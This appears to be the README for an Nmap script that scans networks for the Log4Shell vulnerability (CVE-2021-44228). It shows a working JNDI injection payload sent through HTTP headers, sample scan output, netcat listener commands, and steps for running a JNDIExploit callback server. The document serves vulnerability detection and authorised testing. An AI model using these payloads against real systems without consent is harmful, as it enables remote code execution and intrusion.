nmap-log4shell is a NSE script for discovery Apache Log4j RCE (CVE-2021-44228) vulnerability across the network. The script is able to inject the log4shell exploit payload via HTTP Headers (default) or via TCP/UDP socket.
CVE-2021-44228 is a remote code execution (RCE) vulnerability in Apache Log4j 2. An unauthenticated, remote attacker could exploit this flaw by sending a specially crafted request to a server running a vulnerable version of log4j. The crafted request uses a Java Naming and Directory Interface (JNDI) injection via a variety of services including:
- Lightweight Directory Access Protocol (LDAP)
- Secure LDAP (LDAPS)
- Remote Method Invocation (RMI)
- Domain Name Service (DNS)
If the vulnerable server uses log4j to log requests, the exploit will then request a malicious payload over JNDI through one of the services above from an attacker-controlled server. Successful exploitation could lead to RCE.
Locate where your nmap scripts are located on your system:
- for *nix system it might be
~/.nmap/scripts/or$NMAPDIR - for Mac it might be
/usr/local/Cellar/nmap/<version>/share/nmap/scripts/ - for Windows it might be
C:\Program Files (x86)\Nmap\scripts
Copy the provided script (log4shell.nse) into that directory run nmap --script-updatedb to update the nmap script DB.
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server: The callback server (eg.172.17.42.1:1389)log4shell.http-headers: Comma-separated list of HTTP headers (eg.X-Api-Version,User-Agent,Referer)log4shell.http-method: HTTP method (default:GET)log4shell.url-path: URL path (default:/)log4shell.waf-bypass: Use WAF bypass payloads (default:false)log4shell.test-method: Test throughhttp(default),tcp,udporall
The script relies on callbacks from the target being scanned and hence any firewall rules or interaction with other security devices will affect the efficacy of the script.
Listen a TCP port with netcat (or ncat):
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
Run Nmap with --script log4shell.nse script
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
See the target IP address in netcat (or ncat) output:
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
Download JNDIExploit from GitHub (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
Start JNDIExploit server:
java -jar JNDIExploit.jar
Run Nmap with --script log4shell.nse script
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
See JNDIExploit output for see the received LDAP query
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
This project is made for educational and ethical testing purposes only. Usage of nmap-log4shell for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
The project is licensed under MIT License.
- Giuseppe Di Terlizzi (giterlizzi)